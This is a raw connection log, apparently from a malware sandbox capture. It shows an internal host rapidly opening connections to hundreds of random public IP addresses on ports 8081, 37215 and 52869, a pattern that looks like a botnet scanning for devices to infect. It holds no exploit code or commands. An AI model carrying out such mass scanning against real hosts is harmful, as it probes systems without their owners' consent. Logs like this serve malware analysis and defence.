Jul 20, 2024 23:01:01.619347095 CEST	50165	8081	192.168.2.14	142.129.254.43
Jul 20, 2024 23:01:01.619347095 CEST	50165	8081	192.168.2.14	172.149.78.152
Jul 20, 2024 23:01:01.619347095 CEST	50165	8081	192.168.2.14	4.209.97.188
Jul 20, 2024 23:01:01.619347095 CEST	50165	8081	192.168.2.14	202.249.163.83
Jul 20, 2024 23:01:01.619347095 CEST	50165	8081	192.168.2.14	212.214.168.71
Jul 20, 2024 23:01:01.619348049 CEST	50165	8081	192.168.2.14	140.16.184.41
Jul 20, 2024 23:01:01.619348049 CEST	50165	8081	192.168.2.14	96.212.54.227
Jul 20, 2024 23:01:01.619348049 CEST	50165	8081	192.168.2.14	203.245.161.115
Jul 20, 2024 23:01:01.619441032 CEST	50165	8081	192.168.2.14	184.11.149.31
Jul 20, 2024 23:01:01.619441032 CEST	50165	8081	192.168.2.14	158.102.255.174
Jul 20, 2024 23:01:01.619441032 CEST	50165	8081	192.168.2.14	174.136.209.15
Jul 20, 2024 23:01:01.619441032 CEST	50165	8081	192.168.2.14	59.122.183.154
Jul 20, 2024 23:01:01.619441032 CEST	50165	8081	192.168.2.14	114.135.167.195
Jul 20, 2024 23:01:01.619441032 CEST	52725	37215	192.168.2.14	157.255.88.114
Jul 20, 2024 23:01:01.619441032 CEST	52725	37215	192.168.2.14	157.114.223.179
Jul 20, 2024 23:01:01.619441032 CEST	52725	37215	192.168.2.14	197.199.221.47
Jul 20, 2024 23:01:01.619533062 CEST	52725	37215	192.168.2.14	197.5.87.246
Jul 20, 2024 23:01:01.619540930 CEST	52725	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:01.619540930 CEST	52725	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:01.619540930 CEST	52725	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:01.619540930 CEST	52725	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:01.619540930 CEST	50165	8081	192.168.2.14	203.38.132.152
Jul 20, 2024 23:01:01.619540930 CEST	50165	8081	192.168.2.14	78.243.69.22
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	174.157.235.161
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	183.94.165.33
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	81.75.231.68
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	41.59.197.107
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	131.89.55.103
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	54.30.127.37
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	212.140.234.181
Jul 20, 2024 23:01:01.621189117 CEST	50165	8081	192.168.2.14	89.97.141.193
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	157.83.56.116
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	60.84.128.91
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	85.98.72.106
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	106.2.91.143
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	171.237.111.175
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	178.225.122.2
Jul 20, 2024 23:01:01.621332884 CEST	50165	8081	192.168.2.14	118.191.128.241
Jul 20, 2024 23:01:01.621334076 CEST	50165	8081	192.168.2.14	190.160.58.243
Jul 20, 2024 23:01:01.621494055 CEST	50165	8081	192.168.2.14	185.0.89.145
Jul 20, 2024 23:01:01.621494055 CEST	50165	8081	192.168.2.14	35.238.165.89
Jul 20, 2024 23:01:01.621494055 CEST	50165	8081	192.168.2.14	8.238.176.84
Jul 20, 2024 23:01:01.621494055 CEST	50165	8081	192.168.2.14	188.187.167.83
Jul 20, 2024 23:01:01.621494055 CEST	50165	8081	192.168.2.14	176.79.122.249
Jul 20, 2024 23:01:01.621494055 CEST	52725	37215	192.168.2.14	157.178.175.60
Jul 20, 2024 23:01:01.621494055 CEST	52725	37215	192.168.2.14	197.202.208.182
Jul 20, 2024 23:01:01.621494055 CEST	52725	37215	192.168.2.14	41.26.172.196
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	13.93.41.107
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	82.62.176.97
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	95.42.189.59
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	211.207.185.31
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	40.162.194.16
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	195.21.191.73
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	207.0.205.171
Jul 20, 2024 23:01:01.621663094 CEST	50165	8081	192.168.2.14	24.118.226.234
Jul 20, 2024 23:01:01.621834040 CEST	52725	37215	192.168.2.14	197.249.254.134
Jul 20, 2024 23:01:01.621927977 CEST	34462	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:01.623444080 CEST	50165	8081	192.168.2.14	76.205.198.124
Jul 20, 2024 23:01:01.623444080 CEST	50165	8081	192.168.2.14	113.24.86.35
Jul 20, 2024 23:01:01.623444080 CEST	50165	8081	192.168.2.14	45.249.117.50
Jul 20, 2024 23:01:01.623444080 CEST	50165	8081	192.168.2.14	115.74.94.198
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	157.246.37.143
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	157.16.165.137
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	41.141.61.183
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	41.227.183.11
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	197.36.193.202
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	197.122.87.255
Jul 20, 2024 23:01:01.626240969 CEST	52725	37215	192.168.2.14	197.71.69.175
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.161.254.227
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	41.124.153.49
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	41.174.248.124
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.98.176.181
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.49.108.15
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.195.128.108
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.187.62.184
Jul 20, 2024 23:01:01.628060102 CEST	52725	37215	192.168.2.14	197.79.128.206
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	122.61.140.184
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	157.245.59.6
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	157.92.230.86
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	197.78.40.227
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	41.222.237.27
Jul 20, 2024 23:01:01.628180027 CEST	52725	37215	192.168.2.14	197.112.184.220
Jul 20, 2024 23:01:01.628216982 CEST	52725	37215	192.168.2.14	41.107.116.218
Jul 20, 2024 23:01:01.628217936 CEST	52725	37215	192.168.2.14	157.84.58.6
Jul 20, 2024 23:01:01.628217936 CEST	52725	37215	192.168.2.14	197.202.152.139
Jul 20, 2024 23:01:01.628217936 CEST	52725	37215	192.168.2.14	158.122.212.23
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	59.239.22.67
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	85.56.119.156
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	123.136.241.119
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	138.125.93.118
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	25.163.107.205
Jul 20, 2024 23:01:01.628451109 CEST	50165	8081	192.168.2.14	89.15.82.148
Jul 20, 2024 23:01:01.628452063 CEST	50165	8081	192.168.2.14	173.64.134.113
Jul 20, 2024 23:01:01.628452063 CEST	50165	8081	192.168.2.14	54.145.210.187
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	197.165.176.194
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	197.203.38.106
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	41.129.204.78
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	119.111.116.199
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	197.159.162.218
Jul 20, 2024 23:01:01.629849911 CEST	52725	37215	192.168.2.14	41.69.18.54
Jul 20, 2024 23:01:01.629851103 CEST	52725	37215	192.168.2.14	197.133.225.53
Jul 20, 2024 23:01:01.630078077 CEST	52725	37215	192.168.2.14	41.83.182.39
Jul 20, 2024 23:01:01.630078077 CEST	52725	37215	192.168.2.14	41.54.174.227
Jul 20, 2024 23:01:01.630078077 CEST	52725	37215	192.168.2.14	157.218.44.108
Jul 20, 2024 23:01:01.630078077 CEST	52725	37215	192.168.2.14	157.159.13.2
Jul 20, 2024 23:01:01.630078077 CEST	52725	37215	192.168.2.14	197.53.238.209
Jul 20, 2024 23:01:01.630357027 CEST	50165	8081	192.168.2.14	90.38.163.133
Jul 20, 2024 23:01:01.630357027 CEST	50165	8081	192.168.2.14	65.61.160.164
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	41.226.182.0
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	157.205.73.131
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	41.44.153.32
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	70.103.57.174
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	157.41.234.104
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	41.198.144.50
Jul 20, 2024 23:01:01.631052017 CEST	52725	37215	192.168.2.14	157.13.78.26
Jul 20, 2024 23:01:01.632050037 CEST	52725	37215	192.168.2.14	23.171.217.129
Jul 20, 2024 23:01:01.632050037 CEST	52725	37215	192.168.2.14	157.41.54.250
Jul 20, 2024 23:01:01.632050037 CEST	52725	37215	192.168.2.14	197.196.0.1
Jul 20, 2024 23:01:01.632050037 CEST	52725	37215	192.168.2.14	157.22.247.150
Jul 20, 2024 23:01:01.632050037 CEST	52725	37215	192.168.2.14	197.165.177.79
Jul 20, 2024 23:01:01.633099079 CEST	50165	8081	192.168.2.14	145.28.75.115
Jul 20, 2024 23:01:01.633099079 CEST	50165	8081	192.168.2.14	35.3.132.9
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	207.156.176.173
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	191.87.191.83
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	147.142.40.59
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	87.162.165.59
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	179.204.168.77
Jul 20, 2024 23:01:01.633100033 CEST	50165	8081	192.168.2.14	141.112.53.45
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	167.178.242.99
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	139.42.233.209
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	2.105.54.168
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	147.96.222.42
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	218.213.179.177
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	170.155.6.243
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	220.68.163.168
Jul 20, 2024 23:01:01.633255005 CEST	50165	8081	192.168.2.14	161.233.163.46
Jul 20, 2024 23:01:01.633436918 CEST	37215	52725	197.43.195.147	192.168.2.14
Jul 20, 2024 23:01:01.633440971 CEST	8081	50165	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:01.633445978 CEST	37215	52725	221.140.88.165	192.168.2.14
Jul 20, 2024 23:01:01.633446932 CEST	37215	52725	197.31.28.133	192.168.2.14
Jul 20, 2024 23:01:01.633452892 CEST	37215	52725	25.177.237.227	192.168.2.14
Jul 20, 2024 23:01:01.633455992 CEST	37215	52725	157.176.84.98	192.168.2.14
Jul 20, 2024 23:01:01.633457899 CEST	37215	52725	223.55.57.130	192.168.2.14
Jul 20, 2024 23:01:01.633459091 CEST	37215	52725	197.153.111.27	192.168.2.14
Jul 20, 2024 23:01:01.633460999 CEST	37215	52725	197.228.242.5	192.168.2.14
Jul 20, 2024 23:01:01.633461952 CEST	8081	50165	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:01.633476973 CEST	8081	50165	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:01.633479118 CEST	8081	50165	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:01.633481026 CEST	8081	50165	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:01.633481979 CEST	37215	52725	197.212.139.213	192.168.2.14
Jul 20, 2024 23:01:01.633482933 CEST	50165	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:01.633485079 CEST	52725	37215	192.168.2.14	197.43.195.147
Jul 20, 2024 23:01:01.633486986 CEST	37215	52725	155.99.223.54	192.168.2.14
Jul 20, 2024 23:01:01.633485079 CEST	52725	37215	192.168.2.14	221.140.88.165
Jul 20, 2024 23:01:01.633487940 CEST	8081	50165	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:01.633485079 CEST	52725	37215	192.168.2.14	197.31.28.133
Jul 20, 2024 23:01:01.633490086 CEST	37215	52725	103.164.24.48	192.168.2.14
Jul 20, 2024 23:01:01.633491039 CEST	37215	52725	20.151.206.52	192.168.2.14
Jul 20, 2024 23:01:01.633498907 CEST	8081	50165	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:01.633502960 CEST	8081	50165	125.231.197.172	192.168.2.14
Jul 20, 2024 23:01:01.633506060 CEST	8081	50165	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:01.633514881 CEST	8081	50165	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:01.633518934 CEST	8081	50165	94.214.56.104	192.168.2.14
Jul 20, 2024 23:01:01.633521080 CEST	52725	37215	192.168.2.14	25.177.237.227
Jul 20, 2024 23:01:01.633523941 CEST	8081	50165	85.17.118.93	192.168.2.14
Jul 20, 2024 23:01:01.633522034 CEST	52725	37215	192.168.2.14	157.176.84.98
Jul 20, 2024 23:01:01.633524895 CEST	50165	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:01.633522034 CEST	52725	37215	192.168.2.14	197.228.242.5
Jul 20, 2024 23:01:01.633524895 CEST	50165	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:01.633528948 CEST	8081	50165	212.169.201.173	192.168.2.14
Jul 20, 2024 23:01:01.633531094 CEST	8081	50165	182.233.159.5	192.168.2.14
Jul 20, 2024 23:01:01.633533955 CEST	8081	50165	149.132.242.43	192.168.2.14
Jul 20, 2024 23:01:01.633536100 CEST	50165	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:01.633537054 CEST	8081	50165	46.171.147.111	192.168.2.14
Jul 20, 2024 23:01:01.633538961 CEST	8081	50165	99.234.31.89	192.168.2.14
Jul 20, 2024 23:01:01.633539915 CEST	8081	50165	87.2.74.239	192.168.2.14
Jul 20, 2024 23:01:01.633539915 CEST	8081	50165	128.193.207.148	192.168.2.14
Jul 20, 2024 23:01:01.633543968 CEST	8081	50165	80.136.87.253	192.168.2.14
Jul 20, 2024 23:01:01.633544922 CEST	8081	50165	73.197.147.136	192.168.2.14
Jul 20, 2024 23:01:01.633546114 CEST	8081	50165	151.167.199.174	192.168.2.14
Jul 20, 2024 23:01:01.633548975 CEST	8081	50165	108.161.220.248	192.168.2.14
Jul 20, 2024 23:01:01.633553028 CEST	8081	50165	101.118.178.184	192.168.2.14
Jul 20, 2024 23:01:01.633560896 CEST	8081	50165	19.137.32.67	192.168.2.14
Jul 20, 2024 23:01:01.633563995 CEST	8081	50165	59.233.95.122	192.168.2.14
Jul 20, 2024 23:01:01.633568048 CEST	8081	50165	211.133.203.236	192.168.2.14
Jul 20, 2024 23:01:01.633572102 CEST	8081	50165	137.48.12.242	192.168.2.14
Jul 20, 2024 23:01:01.633574963 CEST	8081	50165	19.237.89.49	192.168.2.14
Jul 20, 2024 23:01:01.633579016 CEST	8081	50165	94.254.55.94	192.168.2.14
Jul 20, 2024 23:01:01.633582115 CEST	8081	50165	186.221.61.150	192.168.2.14
Jul 20, 2024 23:01:01.633584023 CEST	8081	50165	223.60.115.35	192.168.2.14
Jul 20, 2024 23:01:01.633586884 CEST	8081	50165	76.187.66.63	192.168.2.14
Jul 20, 2024 23:01:01.633588076 CEST	8081	50165	208.98.120.253	192.168.2.14
Jul 20, 2024 23:01:01.633589029 CEST	8081	50165	8.108.164.142	192.168.2.14
Jul 20, 2024 23:01:01.633593082 CEST	8081	50165	221.215.226.16	192.168.2.14
Jul 20, 2024 23:01:01.633614063 CEST	50165	8081	192.168.2.14	160.241.197.51
Jul 20, 2024 23:01:01.633688927 CEST	50165	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:01.633745909 CEST	50165	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:01.633745909 CEST	50165	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:01.633774996 CEST	50165	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:01.633807898 CEST	52725	37215	192.168.2.14	157.45.25.14
Jul 20, 2024 23:01:01.633807898 CEST	52725	37215	192.168.2.14	157.119.32.25
Jul 20, 2024 23:01:01.633807898 CEST	52725	37215	192.168.2.14	197.93.68.144
Jul 20, 2024 23:01:01.633807898 CEST	52725	37215	192.168.2.14	41.83.59.196
Jul 20, 2024 23:01:01.633807898 CEST	52725	37215	192.168.2.14	157.30.15.243
Jul 20, 2024 23:01:01.633809090 CEST	52725	37215	192.168.2.14	41.172.76.162
Jul 20, 2024 23:01:01.633809090 CEST	52725	37215	192.168.2.14	54.175.6.190
Jul 20, 2024 23:01:01.633824110 CEST	50165	8081	192.168.2.14	46.171.147.111
Jul 20, 2024 23:01:01.633824110 CEST	50165	8081	192.168.2.14	99.234.31.89
Jul 20, 2024 23:01:01.633861065 CEST	50165	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:01.633862019 CEST	50165	8081	192.168.2.14	125.231.197.172
Jul 20, 2024 23:01:01.633862019 CEST	50165	8081	192.168.2.14	94.214.56.104
Jul 20, 2024 23:01:01.633862019 CEST	50165	8081	192.168.2.14	85.17.118.93
Jul 20, 2024 23:01:01.633862019 CEST	50165	8081	192.168.2.14	182.233.159.5
Jul 20, 2024 23:01:01.633862019 CEST	50165	8081	192.168.2.14	87.2.74.239
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	128.193.207.148
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	151.167.199.174
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	101.118.178.184
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	19.137.32.67
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	59.233.95.122
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	211.133.203.236
Jul 20, 2024 23:01:01.634064913 CEST	50165	8081	192.168.2.14	208.98.120.253
Jul 20, 2024 23:01:01.634066105 CEST	50165	8081	192.168.2.14	8.108.164.142
Jul 20, 2024 23:01:01.634287119 CEST	52725	37215	192.168.2.14	223.55.57.130
Jul 20, 2024 23:01:01.634287119 CEST	52725	37215	192.168.2.14	197.153.111.27
Jul 20, 2024 23:01:01.634287119 CEST	52725	37215	192.168.2.14	197.212.139.213
Jul 20, 2024 23:01:01.634287119 CEST	52725	37215	192.168.2.14	155.99.223.54
Jul 20, 2024 23:01:01.634287119 CEST	52725	37215	192.168.2.14	103.164.24.48
Jul 20, 2024 23:01:01.634288073 CEST	52725	37215	192.168.2.14	20.151.206.52
Jul 20, 2024 23:01:01.634617090 CEST	50165	8081	192.168.2.14	149.132.242.43
Jul 20, 2024 23:01:01.634617090 CEST	50165	8081	192.168.2.14	108.161.220.248
Jul 20, 2024 23:01:01.634819984 CEST	52725	37215	192.168.2.14	157.141.237.22
Jul 20, 2024 23:01:01.634819984 CEST	52725	37215	192.168.2.14	197.218.87.223
Jul 20, 2024 23:01:01.634819984 CEST	52725	37215	192.168.2.14	157.63.104.120
Jul 20, 2024 23:01:01.634820938 CEST	52725	37215	192.168.2.14	23.86.202.230
Jul 20, 2024 23:01:01.634820938 CEST	52725	37215	192.168.2.14	36.80.25.77
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	157.99.188.229
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	197.5.89.191
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	175.85.67.28
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	192.143.120.56
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	71.134.139.31
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	157.59.211.19
Jul 20, 2024 23:01:01.634983063 CEST	52725	37215	192.168.2.14	157.151.236.223
Jul 20, 2024 23:01:01.635066032 CEST	49909	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	212.169.201.173
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	80.136.87.253
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	73.197.147.136
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	137.48.12.242
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	19.237.89.49
Jul 20, 2024 23:01:01.635070086 CEST	50165	8081	192.168.2.14	94.254.55.94
Jul 20, 2024 23:01:01.635071039 CEST	50165	8081	192.168.2.14	186.221.61.150
Jul 20, 2024 23:01:01.635071039 CEST	50165	8081	192.168.2.14	223.60.115.35
Jul 20, 2024 23:01:01.635165930 CEST	49909	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:01.635165930 CEST	49909	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:01.635168076 CEST	49909	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:01.635283947 CEST	49909	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:01.635283947 CEST	49909	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:01.635283947 CEST	49909	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:01.635312080 CEST	49909	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:01.635380983 CEST	49909	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:01.635380983 CEST	49909	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:01.635380983 CEST	49909	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:01.635380983 CEST	49909	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:01.635399103 CEST	49909	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:01.635510921 CEST	49909	52869	192.168.2.14	79.163.220.136
Jul 20, 2024 23:01:01.635515928 CEST	49909	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:01.635515928 CEST	49909	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:01.635642052 CEST	49909	52869	192.168.2.14	191.124.131.163
Jul 20, 2024 23:01:01.635642052 CEST	49909	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:01.635642052 CEST	49909	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:01.635642052 CEST	49909	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	112.236.210.206
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	138.222.128.120
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	27.79.119.12
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	13.188.216.17
Jul 20, 2024 23:01:01.635806084 CEST	49909	52869	192.168.2.14	99.58.61.9
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	93.255.94.157
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	134.76.14.241
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	190.144.135.107
Jul 20, 2024 23:01:01.635831118 CEST	49909	52869	192.168.2.14	165.240.21.199
Jul 20, 2024 23:01:01.636068106 CEST	49909	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:01.636068106 CEST	49909	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:01.636068106 CEST	49909	52869	192.168.2.14	220.158.230.42
Jul 20, 2024 23:01:01.636068106 CEST	49909	52869	192.168.2.14	40.180.122.90
Jul 20, 2024 23:01:01.636069059 CEST	49909	52869	192.168.2.14	162.138.211.72
Jul 20, 2024 23:01:01.636069059 CEST	49909	52869	192.168.2.14	59.126.120.18
Jul 20, 2024 23:01:01.636069059 CEST	49909	52869	192.168.2.14	156.230.140.45
Jul 20, 2024 23:01:01.636069059 CEST	49909	52869	192.168.2.14	181.146.224.142
Jul 20, 2024 23:01:01.636440039 CEST	8081	50165	117.229.55.135	192.168.2.14
Jul 20, 2024 23:01:01.636449099 CEST	8081	50165	78.7.103.243	192.168.2.14
Jul 20, 2024 23:01:01.636477947 CEST	8081	50165	109.192.86.200	192.168.2.14
Jul 20, 2024 23:01:01.636497974 CEST	8081	50165	195.181.3.41	192.168.2.14
Jul 20, 2024 23:01:01.636507034 CEST	8081	50165	69.203.218.60	192.168.2.14
Jul 20, 2024 23:01:01.636511087 CEST	49909	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:01.636511087 CEST	49909	52869	192.168.2.14	31.90.157.252
Jul 20, 2024 23:01:01.636511087 CEST	49909	52869	192.168.2.14	60.144.29.97
Jul 20, 2024 23:01:01.636511087 CEST	49909	52869	192.168.2.14	116.111.12.206
Jul 20, 2024 23:01:01.636511087 CEST	49909	52869	192.168.2.14	77.164.7.36
Jul 20, 2024 23:01:01.636512041 CEST	49909	52869	192.168.2.14	99.202.52.30
Jul 20, 2024 23:01:01.636512041 CEST	49909	52869	192.168.2.14	213.207.143.98
Jul 20, 2024 23:01:01.636516094 CEST	8081	50165	164.126.9.99	192.168.2.14
Jul 20, 2024 23:01:01.636524916 CEST	8081	50165	142.129.254.43	192.168.2.14
Jul 20, 2024 23:01:01.636533976 CEST	8081	50165	172.149.78.152	192.168.2.14
Jul 20, 2024 23:01:01.636573076 CEST	8081	50165	4.209.97.188	192.168.2.14
Jul 20, 2024 23:01:01.636581898 CEST	8081	50165	202.249.163.83	192.168.2.14
Jul 20, 2024 23:01:01.636589050 CEST	8081	50165	212.214.168.71	192.168.2.14
Jul 20, 2024 23:01:01.636598110 CEST	8081	50165	140.16.184.41	192.168.2.14
Jul 20, 2024 23:01:01.636605978 CEST	8081	50165	96.212.54.227	192.168.2.14
Jul 20, 2024 23:01:01.636614084 CEST	8081	50165	203.245.161.115	192.168.2.14
Jul 20, 2024 23:01:01.636631012 CEST	8081	50165	184.11.149.31	192.168.2.14
Jul 20, 2024 23:01:01.636640072 CEST	8081	50165	158.102.255.174	192.168.2.14
Jul 20, 2024 23:01:01.636651039 CEST	52725	37215	192.168.2.14	157.16.152.89
Jul 20, 2024 23:01:01.636653900 CEST	8081	50165	174.136.209.15	192.168.2.14
Jul 20, 2024 23:01:01.636651039 CEST	52725	37215	192.168.2.14	197.94.204.45
Jul 20, 2024 23:01:01.636651039 CEST	52725	37215	192.168.2.14	197.226.152.232
